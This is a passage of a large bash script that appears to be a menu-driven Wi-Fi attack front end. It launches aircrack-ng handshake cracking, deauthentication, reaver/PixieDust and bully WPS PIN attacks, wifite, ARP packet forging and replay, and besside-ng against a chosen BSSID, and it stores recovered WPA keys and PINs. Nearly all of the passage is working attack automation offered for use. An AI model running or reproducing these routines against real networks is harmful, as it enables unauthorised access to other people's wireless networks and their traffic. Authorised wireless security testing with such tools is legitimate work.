4830 | echo "Example: [ WPA handshake: $bssid ]"
4831 | $white
4832 | echo ""
4833 | echo ""
4834 | echo ""
4835 | echo "To force another DEAUTH for HANDSHAKE press D and ENTER!"
4836 | echo ""
4837 | echo ""
4838 | echo ""
4839 | echo ""
4840 | echo "Press ENTER to continue once handshake is made...."
4841 | echo ""
4842 | echo ""
4843 |
4844 | read captureHandshake
4845 |
4846 | hotkeyInput="$captureHandshake"
4847 |
4848 | loadMenuHotkeys "$hotkeyInput"
4849 |
4850 | case "$captureHandshake" in
4851 |
4852 | "")
4853 | killAirodump
4854 | killAireplay
4855 |
4856 | doSleepMessage "Preparing capture files for aircrack-ng...." "2"
4857 |
4858 | aircrackDecrypt
4859 | ;;
4860 |
4861 | *)
4862 | menuAttacksWPA2
4863 | ;;
4864 |
4865 | esac
4866 |
4867 | }
4868 |
4869 |
4870 | menuAttacksWPA2WifiteAuto(){
4871 |
4872 | currentTask="menuAttacksWPA2WifiteAuto"
4873 | lastMenuID="menuAttacksWPA2WifiteAuto"
4874 |
4875 | killAll
4876 |
4877 | #$terminal $wifiteAttackWEP -c $channel -b $bssid -e $essid -wepsave -wepca 1000 &
4878 | $terminal $wifiteAttackWPA2 &
4879 |
4880 | banner
4881 | bannerStats
4882 |
4883 | echo ""
4884 | echo "The wifite session should be launched in a separate window."
4885 | echo ""
4886 | echo ""
4887 | echo ""
4888 | echo ""
4889 | echo "PRESS ENTER ONLY WHEN THE SESSION HAS FINISHED!"
4890 | echo ""
4891 | echo "AS SOON AS ENTER IS PRESSED THE WIFITE SESSION WILL BE RESET!"
4892 | echo ""
4893 |
4894 | read pause
4895 |
4896 | sessionCopyNewCaptureFiles
4897 |
4898 | killAll
4899 | menuAuto
4900 |
4901 | }
4902 |
4903 |
4904 | ############################################################################
4905 | # ATTACKS: WPA2 END ####################################################
4906 | ############################################################################
4907 |
4908 |
4909 |
4910 |
4911 |
4912 | ############################################################################
4913 | # ATTACKS: WPS BEGIN ###################################################
4914 | ############################################################################
4915 |
4916 |
4917 | autoModeNoPreviousSessionWPS(){
4918 |
4919 | currentTask="autoModeNoPreviousSessionWPS"
4920 |
4921 | #adAPScanWifiteWPSNoChannel
4922 | #adAPScanNoChannel
4923 | adAPScanNoChannelWPS
4924 |
4925 | doSleepMessage "Preparing Text List of Available Targets...." "15"
4926 |
4927 | doSleepMessage "Setting Up User Input...." "2"
4928 |
4929 | getESSID
4930 | getBSSID
4931 | getChannel
4932 |
4933 | sessionWriteBeginNew
4934 | sessionCopyNewCaptureFiles
4935 |
4936 | doSleepMessage "Killing Airodump Window...." "2"
4937 |
4938 |
4939 | killAirodump
4940 | killWash
4941 | killWifite
4942 |
4943 | getBSSIDCharOnly
4944 |
4945 | # Choose WPS Attack Method
4946 | case "$attackMethodWPS" in
4947 |
4948 | "reaver")
4949 | reaverSaveAllSessionFiles
4950 | menuAttacksWPS
4951 | ;;
4952 |
4953 | "bully")
4954 | menuBullyMain
4955 | ;;
4956 |
4957 | esac
4958 |
4959 | }
4960 |
4961 |
4962 | autoModeUsePreviousSessionWPS(){
4963 |
4964 | currentTask="autoModeUsePreviousSessionWPS"
4965 |
4966 | sessionWriteLoadPrevious
4967 |
4968 | menuAttacksWPS
4969 |
4970 | }
4971 |
4972 |
4973 | menuAttacksWPS(){
4974 |
4975 | currentTask="menuAttacksWPS"
4976 |
4977 | banner
4978 | bannerStats
4979 |
4980 | # Set Default Choice
4981 | pixieChoice="1"
4982 |
4983 | echo ""
4984 | echo "1) Continue With PixieDust ENABLED (Recommended)"
4985 | echo ""
4986 | echo "2) Continue With PixieDust DISABLED"
4987 | echo ""
4988 | echo ""
4989 | echo ""
4990 | echo ""
4991 | echo ""
4992 | echo ""
4993 | echo "Choose an Option and Press ENTER to continue"
4994 | echo ""
4995 | echo ""
4996 | echo ""
4997 | $green
4998 | echo "If No Selection Is Made, It Will Continue Automatically Using PixieDust"
4999 | $white
5000 | echo ""
5001 | echo ""
5002 | echo "Continuing In 10 Seconds...."
5003 | echo ""
5004 | echo ""
5005 |
5006 | read -t 10 pixieChoice
5007 |
5008 | hotkeyInput="$pixieChoice"
5009 |
5010 | loadMenuHotkeys "$hotkeyInput"
5011 |
5012 | case "$pixieChoice" in
5013 |
5014 | "")
5015 | #menuAttacksWPS
5016 | pixieChoice="1"
5017 | sleepMessage1="Preparing Reaver/PixieDust Session...."
5018 | sleepMessage2="Launching Reaver/PixieDust Session...."
5019 | sleepMessage3="Reaver Session Sprinkled With PixieDust Is Now Active!"
5020 | ;;
5021 |
5022 | "1")
5023 | pixieChoice="1"
5024 | sleepMessage1="Preparing Reaver/PixieDust Session...."
5025 | sleepMessage2="Launching Reaver/PixieDust Session...."
5026 | sleepMessage3="Reaver Session Sprinkled With PixieDust Is Now Active!"
5027 | ;;
5028 |
5029 | "2")
5030 | pixieChoice="2"
5031 | sleepMessage1="Preparing Reaver Session...."
5032 | sleepMessage2="Launching Reaver Session...."
5033 | sleepMessage3="Reaver Session Is Now Active!"
5034 | ;;
5035 |
5036 | *)
5037 | menuAttacksWPS
5038 | ;;
5039 |
5040 | esac
5041 |
5042 | doSleepMessage "$sleepMessage1" "1"
5043 |
5044 | killAirodump
5045 | killWash
5046 |
5047 | disableChannelHopping
5048 |
5049 | doSleepMessage "$sleepMessage1" "1"
5050 |
5051 | doSleepMessage "$sleepMessage2" "2"
5052 |
5053 | banner
5054 | bannerStats
5055 |
5056 | doSleepMessage "$sleepMessage3" "0" "$green"
5057 | $white
5058 | echo ""
5059 | echo "Press CTRL+C At Any Time To Stop Current Session and Save"
5060 | sleep 2
5061 |
5062 | case "$pixieChoice" in
5063 |
5064 | "1")
5065 | #echo "PixeDust Enabled"
5066 | #$reaver -i $interfaceMonitor -b $bssid -c $channel -S -vv -K $pixieNumber
5067 | $reaver -i $interfaceMonitor -b $bssid -c $channel -vv -K $pixieNumber
5068 | #read pause
5069 | #pixieFailed="1"
5070 |
5071 | reaverSessionComplete
5072 |
5073 | case "$pixieFailed" in
5074 |
5075 | "1")
5076 | banner
5077 | bannerStats
5078 | echo "Pixie Attack Failed! Starting Normal Reaver Attack"
5079 | echo ""
5080 | echo ""
5081 | $white
5082 | reaverMenuAttacksWPS
5083 | ;;
5084 |
5085 | esac
5086 | ;;
5087 |
5088 | "2")
5089 | #echo "PixeDust Disabled"
5090 | #$reaver -i $interfaceMonitor -b $bssid -c $channel -S -vv
5091 | #$reaver -i $interfaceMonitor -b $bssid -c $channel -vv
5092 |
5093 | reaverMenuAttacksWPS
5094 | ;;
5095 |
5096 | esac
5097 |
5098 | }
5099 |
5100 |
5101 | reaverMenuAttacksWPS(){
5102 |
5103 | currentTask="reaverMenuAttacksWPS"
5104 |
5105 | banner
5106 | bannerStats
5107 |
5108 | sleepMessage1="Preparing Reaver Session...."
5109 | sleepMessage2="Launching Reaver Session...."
5110 | sleepMessage3="Reaver Session Is Now Active!"
5111 |
5112 | doSleepMessage "$sleepMessage1" "1"
5113 |
5114 | killAirodump
5115 | killWash
5116 |
5117 | disableChannelHopping
5118 |
5119 | doSleepMessage "$sleepMessage1" "1"
5120 |
5121 | doSleepMessage "$sleepMessage2" "1"
5122 |
5123 | banner
5124 | bannerStats
5125 |
5126 | doSleepMessage "$sleepMessage3" "0" "$green"
5127 | $white
5128 | echo ""
5129 | echo "Press CTRL+C At Any Time To Stop Current Session and Save"
5130 | sleep 2
5131 |
5132 | $reaver -i $interfaceMonitor -b $bssid -c $channel -S -vv
5133 |
5134 | # Set pixieChoice To 0 For Triggering Normal Reaver Save Session Screen
5135 | pixieChoice="0"
5136 |
5137 | reaverSessionComplete
5138 |
5139 | }
5140 |
5141 |
5142 | reaverSessionComplete(){
5143 |
5144 | currentTask="reaverSessionComplete"
5145 |
5146 | # Session has ended lands here
5147 | getBSSIDCharOnly
5148 |
5149 | echo ""
5150 | $lightBlue
5151 | echo "***************************************"
5152 | echo "** SCROLL UP FOR RECOVERED PASSWORD ***"
5153 | echo "***************************************"
5154 | echo ""
5155 | #$magenta
5156 | #echo "Attempting To Save Reaver Session...."
5157 | #echo ""
5158 | #echo "** Will Give Error If No Session Has Been Written **"
5159 | #echo ""
5160 | reaverSaveCurrentSessionFile
5161 |
5162 | $green
5163 | echo ""
5164 | echo "***************************************"
5165 | echo "* Your reaver session has been saved! *"
5166 | echo "***************************************"
5167 | $white
5168 | echo ""
5169 | $yellow
5170 |
5171 | # Check if PixieDust was used
5172 | case "$pixieChoice" in
5173 |
5174 | "0")
5175 | echo "If the key is available, now would be a good time to do the following:"
5176 | echo ""
5177 | echo "- Write down or take a picture of the WPA/WPA2 key and/or WPS pin"
5178 | echo ""
5179 | echo ""
5180 | $cyan
5181 | echo "** YOU MAY NEED TO SCROLL UP TO SEE THE PASSPHRASE / PIN / ESSID **"
5182 | $white
5183 | echo ""
5184 | echo ""
5185 | echo ""
5186 | echo ""
5187 | echo ""
5188 | echo "Press ENTER to continue...."
5189 | echo ""
5190 |
5191 | read pause
5192 | ;;
5193 |
5194 | "1")
5195 | echo "If the key is available, now would be a good time to do the following:"
5196 | echo ""
5197 | echo "- Write down or take a picture of the WPA/WPA2 key and/or WPS pin"
5198 | echo ""
5199 | echo ""
5200 | $cyan
5201 | echo "** YOU MAY NEED TO SCROLL UP TO SEE THE PASSPHRASE / PIN / ESSID **"
5202 | echo ""
5203 | $cyan
5204 | echo "* IF PIXIEDUST ATTACK FAILED, USE THE \"R\" OPTION TO START NORMAL REAVER ATTACK *"
5205 | $white
5206 | echo ""
5207 | echo ""
5208 | echo ""
5209 | echo "Press ENTER to continue or type \"R\" to start normal Reaver attack...."
5210 | echo ""
5211 |
5212 | read pixiePost
5213 |
5214 | case "$pixiePost" in
5215 |
5216 | "R" | "r")
5217 | banner
5218 | bannerStats
5219 | echo "Pixie Attack Failed! Starting Normal Reaver Attack"
5220 | echo ""
5221 | echo ""
5222 | $white
5223 | reaverMenuAttacksWPS
5224 | ;;
5225 |
5226 | esac
5227 | ;;
5228 |
5229 | esac
5230 |
5231 | menuMain
5232 |
5233 | }
5234 |
5235 | menuAttacksWPSWifiteAuto(){
5236 |
5237 | currentTask="menuAttacksWPSWifiteAuto"
5238 | lastMenuID="menuAttacksWPSWifiteAuto"
5239 |
5240 | killAll
5241 |
5242 | #$terminal $wifiteAttackWPS -c $channel -b $bssid -e $essid -wepsave -wepca 1000 &
5243 | $terminal $wifiteAttackWPS &
5244 |
5245 | banner
5246 | bannerStats
5247 |
5248 | echo ""
5249 | echo "The wifite session should be launched in a separate window."
5250 | echo ""
5251 | echo "PRESS ENTER ONLY WHEN THE SESSION HAS FINISHED!"
5252 | echo ""
5253 | echo "AS SOON AS ENTER IS PRESSED THE WIFITE SESSION WILL BE RESET!"
5254 | echo ""
5255 |
5256 | read pause
5257 |
5258 | echo ""
5259 | echo ""
5260 | echo "Your wifite session has been saved!"
5261 | echo ""
5262 | echo ""
5263 | echo ""
5264 | echo ""
5265 | echo "If the key is available, now would be a good time to do the following:"
5266 | echo ""
5267 | echo "1) Write down the WPA/WPA2 key and/or WPS pin"
5268 | echo ""
5269 | echo "2) Take a picture of the screen to keep a record of the keys"
5270 | echo ""
5271 | echo ""
5272 | echo ""
5273 | echo ""
5274 | echo "Press ENTER to continue...."
5275 | echo ""
5276 | echo ""
5277 |
5278 | killAll
5279 | menuAuto
5280 |
5281 | read pause
5282 |
5283 | }
5284 |
5285 |
5286 | aircrackDecryptWPS(){
5287 |
5288 | # NOT ACTUALLY USED FOR WPS ATTACK
5289 |
5290 | currentTask="aircrackDecryptWPS"
5291 |
5292 | blank=""
5293 |
5294 | }
5295 |
5296 |
5297 | reaverSaveCurrentSessionFile(){
5298 |
5299 | currentTask="reaverSaveCurrentSessionFile"
5300 |
5301 | # Use current session path and bssid to build variable
5302 | reaverCurrentSessionFile="../../$reaverSessionPath/$bssidCharOnly.wpc"
5303 |
5304 | # Check BSSID and only continue if not blank
5305 | if [ "$bssidCharOnly" != "" ];then
5306 |
5307 | # Check to see if reaver session file exists
5308 | if [ -e $reaverCurrentSessionFile ];then
5309 |
5310 | # Copy reaver session file to current WPS sessions directory
5311 | cp "$reaverCurrentSessionFile" "$capturePathWPS"
5312 |
5313 | fi
5314 |
5315 | fi
5316 |
5317 | }
5318 |
5319 |
5320 | reaverSaveAllSessionFiles(){
5321 |
5322 | currentTask="reaverSaveCurrentSessionFile"
5323 |
5324 | # Check BSSID and only continue if not blank
5325 | if [ "$bssidCharOnly" != "" ];then
5326 |
5327 | cp "../../$reaverSessionPath/*.wpc" "$capturePathWPS"
5328 |
5329 | fi
5330 |
5331 | }
5332 |
5333 |
5334 | menuBullyMain() {
5335 |
5336 | currentTask="menuBullyMain"
5337 |
5338 | banner
5339 | echo ""
5340 | echo "Bully WPS Attack Menu"
5341 | echo ""
5342 | echo ""
5343 | echo ""
5344 | echo ""
5345 | echo "Choose an option and press ENTER:"
5346 | echo ""
5347 | echo ""
5348 | echo ""
5349 | echo ""
5350 | echo ""
5351 | echo ""
5352 | echo ""
5353 | echo ""
5354 | echo ""
5355 | echo ""
5356 | echo ""
5357 | echo ""
5358 | echo ""
5359 |
5360 | read pause
5361 |
5362 | }
5363 |
5364 |
5365 | menuWashMain() {
5366 |
5367 | #currentTask="menuWashMain"
5368 |
5369 | banner
5370 | echo ""
5371 | echo "WPS Wash Menu"
5372 | echo ""
5373 | echo ""
5374 | echo ""
5375 | echo ""
5376 | echo "Choose an option and press ENTER:"
5377 | echo ""
5378 | echo ""
5379 | echo ""
5380 | echo "1) Use Defaults"
5381 | echo ""
5382 | echo "2) Enter Channel Number"
5383 | echo ""
5384 | echo "3) Toggle Scan Mode"
5385 | echo ""
5386 | echo "4) Use 5GHz Band"
5387 | echo ""
5388 | echo "5) Do Not Ignore Frame Checksum Errors"
5389 | echo ""
5390 | echo ""
5391 | echo ""
5392 | echo ""
5393 | echo "R) Return To Previous Page"
5394 | echo ""
5395 | echo ""
5396 |
5397 | read washOption
5398 |
5399 | case "$washOption" in
5400 |
5401 | "1")
5402 | wash -i $interfaceMonitor -o "$washFile" -C
5403 | ;;
5404 |
5405 | "2")
5406 | wash -i $interfaceMonitor -o "$washFile" -C -c $washChannel
5407 | ;;
5408 |
5409 | "3")
5410 | wash -i $interfaceMonitor -o "$washFile" -C -s
5411 | ;;
5412 |
5413 | "4")
5414 | wash -i $interfaceMonitor -o "$washFile" -C -5
5415 | ;;
5416 |
5417 | "5")
5418 | wash -i $interfaceMonitor -o "$washFile"
5419 | ;;
5420 |
5421 | "6")
5422 | currentTask
5423 | ;;
5424 |
5425 | esac
5426 |
5427 | }
5428 |
5429 |
5430 |
5431 | ############################################################################
5432 | # ATTACKS: WPS END #####################################################
5433 | ############################################################################
5434 |
5435 |
5436 |
5437 |
5438 | ############################################################################
5439 | # ATTACKS: UNIVERSAL BEGIN #############################################
5440 | ############################################################################
5441 |
5442 | menuAttacksAllWifiteAuto(){
5443 |
5444 | currentTask="menuAttacksAllWifiteAuto"
5445 | lastMenuID="menuAttacksAllWifiteAuto"
5446 |
5447 | killAll
5448 |
5449 | $terminal $wifiteAttackAll &
5450 |
5451 | banner
5452 | bannerStats
5453 |
5454 | echo ""
5455 | echo "The wifite session should be launched in a separate window."
5456 | echo ""
5457 | echo "PRESS ENTER ONLY WHEN THE SESSION HAS FINISHED!"
5458 | echo ""
5459 | echo "AS SOON AS ENTER IS PRESSED THE WIFITE SESSION WILL BE RESET!"
5460 | echo ""
5461 |
5462 | read pause
5463 |
5464 | killAll
5465 | menuMain
5466 |
5467 | }
5468 |
5469 |
5470 | generateArpPacket(){
5471 |
5472 | currentTask="generateArpPacket"
5473 |
5474 | $terminal aireplay-ng -4 $interfaceMonitor &
5475 |
5476 | # Alt
5477 | $terminal aireplay-ng -4 -h $macAddressMonitor $interfaceMonitor &
5478 |
5479 | }
5480 |
5481 |
5482 | tcpDump(){
5483 |
5484 | currentTask="tcpDump"
5485 |
5486 | # Accepts a CAP file as INPUT
5487 | $terminal tcpdump -s 0 -n -e -r $1 &
5488 |
5489 | }
5490 |
5491 |
5492 | forgeArpRequest(){
5493 |
5494 | currentTask="forgeArpRequest"
5495 |
5496 | # Accepts an XOR file as INPUT
5497 | #packetforge-ng -0 -a $bssid -h $macAddressMonitor -k 192.168.1.2 -l 192.168.1.100 -y $1 -w "$initPath/$bssid-arp.cap" &
5498 |
5499 | # Accepts an XOR file as INPUT and a CAP file as OUTPUT
5500 | packetforge-ng -0 -a $bssid -h $macAddressMonitor -k 192.168.1.2 -l 192.168.1.100 -y $1 -w $2 &
5501 |
5502 | }
5503 |
5504 |
5505 | replayArpRequest(){
5506 |
5507 | currentTask="replayArpRequest"
5508 |
5509 | aireplay-ng -2 -r "$initPath/$bssid-arp.cap" $interfaceMonitor &
5510 |
5511 | # Accepts a CAP file as INPUT
5512 | #aireplay-ng -2 -r $1 $interfaceMonitor &
5513 |
5514 | }
5515 |
5516 |
5517 |
5518 | ############################################################################
5519 | # ATTACKS: UNIVERSAL END ###############################################
5520 | ############################################################################
5521 |
5522 |
5523 |
5524 |
5525 | ############################################################################
5526 | # BESSIDE-NG STUFF BEGIN ###############################################
5527 | ############################################################################
5528 |
5529 |
5530 | bessideMain(){
5531 |
5532 | currentTask="bessideMain"
5533 |
5534 | banner
5535 | bannerStats
5536 |
5537 | echo ""
5538 | echo "Select a mode and press ENTER:"
5539 | echo ""
5540 | echo ""
5541 | echo "1) Normal"
5542 | echo ""
5543 | echo "2) WPA Only"
5544 | echo ""
5545 | echo "3) Upload"
5546 | echo ""
5547 | echo "4) Set Flood Rate"
5548 | echo ""
5549 | echo "5) Return To Previous Menu"
5550 | echo ""
5551 | echo ""
5552 |
5553 | read getBessideMode
5554 |
5555 | hotkeyInput="$getBessideMode"
5556 |
5557 | loadMenuHotkeys "$hotkeyInput"
5558 |
5559 | case "$getBessideMode" in
5560 |
5561 | "")
5562 | bessideMain
5563 | ;;
5564 |
5565 | "1")
5566 | bessideNormal
5567 | ;;
5568 |
5569 | "2")
5570 | bessideWPAOnly
5571 | ;;
5572 |
5573 | "3")
5574 | bessideUpload
5575 | ;;
5576 |
5577 | "4")
5578 | bessideSetFloodRate
5579 | ;;
5580 |
5581 | "5")
5582 | $lastMenuID
5583 | ;;
5584 |
5585 | *)
5586 | bessideMain
5587 | ;;
5588 |
5589 | esac
5590 |
5591 | }
5592 |
5593 |
5594 | bessideNormal(){
5595 |
5596 | currentTask="bessideNormal"
5597 |
5598 | $terminal besside-ng -b $bssid -c $channel -vv $interfaceMonitor
5599 |
5600 | }
5601 |
5602 |
5603 | bessideUpload(){
5604 |
5605 | currentTask="bessideUpload"
5606 |
5607 | $terminal besside-ng -b $bssid -c $channel -s $serverWPA -vv $interfaceMonitor
5608 |
5609 | }
5610 |
5611 |
5612 | bessideWPAOnly(){
5613 |
5614 | currentTask="bessideWPAOnly"
5615 |
5616 | $terminal besside-ng -b $bssid -c $channel -W -vv $interfaceMonitor
5617 |
5618 | }
5619 |
5620 |
5621 | bessideSetFloodRate(){
5622 |
5623 | currentTask="bessideSetFloodRate"
5624 |
5625 | bessideFloodRate=""
5626 |
5627 | }
5628 |
5629 |
5630 | ############################################################################
5631 | # BESSIDE-NG STUFF END #################################################
5632 | ############################################################################
5633 |
5634 |
5635 |
5636 |
5637 | ############################################################################
5638 | # POST EXPLOITATION BEGIN ##############################################
5639 | ############################################################################
5640 |
5641 |
5642 |
5643 |
5644 |
5645 |
5646 | ############################################################################
5647 | # POST EXPLOITATION END ################################################
5648 | ############################################################################
5649 |
5650 |
5651 |
5652 |
5653 | ############################################################################
5654 | # PROCESS MANAGEMENT BEGIN #############################################
5655 | ############################################################################
5656 |
5657 |
5658 | killProcesses(){
5659 |
5660 | currentTask="killProcesses"
5661 |
5662 | killall NetworkManager
5663 | killall NetworkManagerDispatcher
5664 | #killall wpa_supplicant
5665 | #killall avahi-daemon
5666 |
5667 | }
5668 |
5669 |
5670 | restartProcesses(){
5671 |
5672 | currentTask="restartProcesses"
5673 |
5674 | #killall NetworkManager
5675 | NetworkManager
5676 |
5677 | #killall NetworkManagerDispatcher
5678 | NetworkManagerDispatcher
5679 |
5680 | #wpa_supplicant
5681 | #avahi-daemon
5682 |
5683 | }
5684 |
5685 |
5686 | killWifite(){
5687 |
5688 | currentTask="killWifite"
5689 |
5690 | findWifitePID=$(ps -A | grep "wifite" | head -c5)
5691 |
5692 | case "$findWifitePID" in
5693 |
5694 | "")
5695 | # No Process Found
5696 | ;;
5697 |
5698 | *)
5699 | killWifiteTemp=$(kill $findWifitePID)
5700 | ;;
5701 | esac
5702 |
5703 |
5704 | }
5705 |
5706 |
5707 | killAirodump(){
5708 |
5709 | currentTask="killAirodump"
5710 |
5711 | findAirodumpPID=$(ps -A | grep "airodump-ng" | head -c5)
5712 |
5713 | case "$findAirodumpPID" in
5714 |
5715 | "")
5716 | # No Process Found
5717 | ;;
5718 |
5719 | *)
5720 | killAirodumpTemp=$(kill $findAirodumpPID)
5721 | #killAirodumpTemp=$(killall airodump-ng)
5722 | ;;
5723 | esac
5724 |
5725 | }
5726 |
5727 |
5728 | killAireplay(){
5729 |
5730 | currentTask="killAireplay"
5731 |
5732 | findAireplayPID=$(ps -A | grep "aireplay-ng" | head -c5)
5733 |
5734 | case "$findAireplayPID" in
5735 |
5736 | "")
5737 | # No Process Found
5738 | ;;
5739 |
5740 | *)
5741 | killAireplayTemp=$(kill $findAireplayPID)
5742 | ;;
5743 | esac
5744 |
5745 | }
5746 |
5747 |
5748 | killAircrack(){
5749 |
5750 | currentTask="killAircrack"
5751 |
5752 | findAircrackPID=$(ps -A | grep "aircrack-ng" | head -c5)
5753 |
5754 | case "$findAircrackPID" in
5755 |
5756 | "")
5757 | # No Process Found
5758 | ;;
5759 |
5760 | *)
5761 | killAircrackTemp=$(kill $findAircrackPID)
5762 | ;;
5763 | esac
5764 |
5765 | }
5766 |
5767 |
5768 | killWash(){
5769 |
5770 | currentTask="killWash"
5771 |
5772 | findWashPID=$(ps -A | grep "wash" | head -c5)
5773 |
5774 | case "$findWashPID" in
5775 |
5776 | "")
5777 | # No Process Found
5778 | ;;
5779 |
5780 | *)
5781 | killAircrackTemp=$(kill $findWashPID)
5782 | ;;
5783 | esac
5784 |
5785 | }
5786 |
5787 |
5788 | killAll(){
5789 |
5790 | killAirodump
5791 | killAireplay
5792 | killAircrack
5793 | killWash
5794 | killWifite
5795 |
5796 | }
5797 |
5798 |
5799 | ############################################################################
5800 | # PROCESS MANAGEMENT END ###############################################
5801 | ############################################################################
5802 |
5803 |
5804 |
5805 |
5806 |
5807 | ############################################################################
5808 | # SESSIONS STUFF BEGIN #################################################
5809 | ############################################################################
5810 |
5811 |
5812 | cleanSessionFiles(){
5813 |
5814 | currentTask="cleanSessionFiles"
5815 |
5816 | banner
5817 | echo ""
5818 | $red
5819 | echo "*** THIS WILL ERASE ALL CURRENT SESSION FILES!!!"
5820 | $white
5821 | echo ""
5822 | echo ""
5823 | echo "If you would like to create a backup before doing this, press B and ENTER"
5824 | echo ""
5825 | echo ""
5826 | echo "If you would like to CANCEL, press C and ENTER"
5827 | echo ""
5828 | echo ""
5829 | echo ""
5830 | echo ""
5831 | $cyan
5832 | echo "Automatically Continuing In 10 Seconds"
5833 | $white
5834 | echo ""
5835 | echo ""
5836 |
5837 | read -t 10 eraseSessionConfirm
5838 |
5839 | case "$eraseSessionConfirm" in
5840 |
5841 | "")
5842 | banner
5843 | echo ""
5844 | echo "Cleaning Session Files...."
5845 | echo ""
5846 | echo ""
5847 |
5848 | #rm "$capturePath/wep/wep.sessions"
5849 | #rm "$capturePath/wps/wps.sessions"
5850 | #rm "$capturePath/wpa/wpa.sessions"
5851 | #rm "$capturePath/wpa2/wpa2.sessions"
5852 |
5853 | rm -r "$capturePath"
5854 | sleep 1
5855 | mkdir "$capturePath"
5856 |
5857 | banner
5858 | echo ""
5859 | echo "Cleaning Session Files...."
5860 | echo ""
5861 | echo ""
5862 | ;;
5863 |
5864 | "c" | "C")
5865 | menuExtras
5866 | ;;
5867 |
5868 | "b" | "B")
5869 | backupFromSessionErase="1"
5870 | backupSessionFiles
5871 | ;;
5872 |
5873 | *)
5874 | cleanSessionFiles
5875 | ;;
5876 |
5877 | esac
5878 |
5879 | }
5880 |
5881 |
5882 | backupSessionFiles(){
5883 |
5884 | currentTask="backupSessionFiles"
5885 |
5886 | backupName="sessions-backup-$displayDate3"
5887 | backupDir="sessions"
5888 | #nextBackupSlot=0
5889 |
5890 | if [ -f "$backupName.zip" ]; then
5891 | nextBackupSlot=$((nextBackupSlot+1))
5892 | backupName="$backupName-$nextBackupSlot"
5893 | fi
5894 |
5895 |
5896 | #echo "$backupName"
5897 | #echo "$nextBackupSlot"
5898 | #read pause
5899 |
5900 | banner
5901 | echo ""
5902 | echo "Backing Up Session Files To:"
5903 | echo ""
5904 | $cyan
5905 | echo "$backupName...."
5906 | $white
5907 | echo ""
5908 | echo ""
5909 |
5910 | case "$backupFromCaptureErase" in
5911 |
5912 | "1")
5913 | sessionCopyNewCaptureFiles
5914 | banner
5915 | echo ""
5916 | sleep 2
5917 | zip -9 -r $backupName $backupDir
5918 | sleep 1
5919 | cleanCaptureFiles
5920 | backupFromCaptureErase="0"
5921 | ;;
5922 | esac
5923 |
5924 | case "$backupFromSessionErase" in
5925 |
5926 | "0")
5927 | sleep 3
5928 | zip -9 -r $backupName $backupDir
5929 | ;;
5930 |
5931 | "1")
5932 | sleep 2
5933 | zip -9 -r $backupName $backupDir
5934 | sleep 1
5935 | cleanSessionFiles
5936 | backupFromSessionErase="0"
5937 | ;;
5938 | esac
5939 |
5940 | }
5941 |
5942 |
5943 | sessionWriteBeginNew(){
5944 |
5945 | currentTask="sessionWriteBeginNew"
5946 |
5947 | getCurrentDateAndTime
5948 |
5949 | echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions"
5950 | echo "***** Begin New Session - $displayDateAndTime *****" >> "$capturePath/$encryptionType/$encryptionType.sessions"
5951 | echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions"
5952 | echo "Encryption: $encryptionTypeText" >> "$capturePath/$encryptionType/$encryptionType.sessions"
5953 | echo "ESSID: $essid" >> "$capturePath/$encryptionType/$encryptionType.sessions"
5954 | echo "BSSID: $bssid" >> "$capturePath/$encryptionType/$encryptionType.sessions"
5955 | echo "Channel: $channel" >> "$capturePath/$encryptionType/$encryptionType.sessions"
5956 | echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions"
5957 |
5958 | }
5959 |
5960 |
5961 | sessionWriteLoadPrevious(){
5962 |
5963 | currentTask="sessionWriteLoadPrevious"
5964 |
5965 | getCurrentDateAndTime
5966 |
5967 | echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions"
5968 | echo "***** Load Previous Session - $displayDateAndTime *****" >> "$capturePath/$encryptionType/$encryptionType.sessions"
5969 | echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions"
5970 | echo "Encryption: $encryptionTypeText" >> "$capturePath/$encryptionType/$encryptionType.sessions"
5971 | echo "ESSID: $essid" >> "$capturePath/$encryptionType/$encryptionType.sessions"
5972 | echo "BSSID: $bssid" >> "$capturePath/$encryptionType/$encryptionType.sessions"
5973 | echo "Channel: $channel" >> "$capturePath/$encryptionType/$encryptionType.sessions"
5974 | echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions"
5975 |
5976 | }
5977 |
5978 |
5979 | sessionWriteEndCurrent(){
5980 |
5981 | currentTask="sessionWriteEndCurrent"
5982 |
5983 | getCurrentDateAndTime
5984 |
5985 | echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions"
5986 | echo "***** End Current Session - $displayDateAndTime *****" >> "$capturePath/$encryptionType/$encryptionType.sessions"
5987 | echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions"
5988 |
5989 | }
5990 |
5991 |
5992 | sessionRemoveEmpty(){
5993 |
5994 | currentTask="sessionRemoveEmpty"
5995 |
5996 | #banner
5997 | #echo ""
5998 | #echo "Removing Empty Sessions...."
5999 | #echo ""
6000 | #echo ""
6001 |
6002 | rm "$capturePath/$encryptionType/empty.sessions"
6003 | rmdir "$capturePath/empty"
6004 |
6005 | banner
6006 | echo ""
6007 | #echo "Removing Empty Sessions...."
6008 | #echo ""
6009 | #echo ""
6010 |
6011 | }
6012 |
6013 |
6014 | sessionCreatePaths(){
6015 |
6016 | getBSSIDCharOnly
6017 |
6018 | mkdir "$capturePath"
6019 | mkdir "$capturePath/$encryptionType/"
6020 |
6021 | }
6022 |
6023 |
6024 | sessionCopyNewCaptureFiles(){
6025 |
6026 | cp *.cap "$capturePath/$encryptionType"
6027 | cp *.ivs "$capturePath/$encryptionType"
6028 | cp *.xor "$capturePath/$encryptionType"
6029 | cp *.csv "$capturePath/$encryptionType"
6030 | cp *.netxml "$capturePath/$encryptionType"
6031 |
6032 | }
6033 |
6034 |
6035 | sessionSave(){
6036 |
6037 | currentTask="sessionSave"
6038 |
6039 | getCurrentDateAndTime
6040 |
6041 | echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions"
6042 | echo "***** Save Current Session - $displayDateAndTime *****" >> "$capturePath/$encryptionType/$encryptionType.sessions"
6043 | echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions"
6044 | echo "Encryption: $encryptionTypeText" >> "$capturePath/$encryptionType/$encryptionType.sessions"
6045 | echo "ESSID: $essid" >> "$capturePath/$encryptionType/$encryptionType.sessions"
6046 | echo "BSSID: $bssid" >> "$capturePath/$encryptionType/$encryptionType.sessions"
6047 | echo "Channel: $channel" >> "$capturePath/$encryptionType/$encryptionType.sessions"
6048 | echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions"
6049 |
6050 | }
6051 |
6052 |
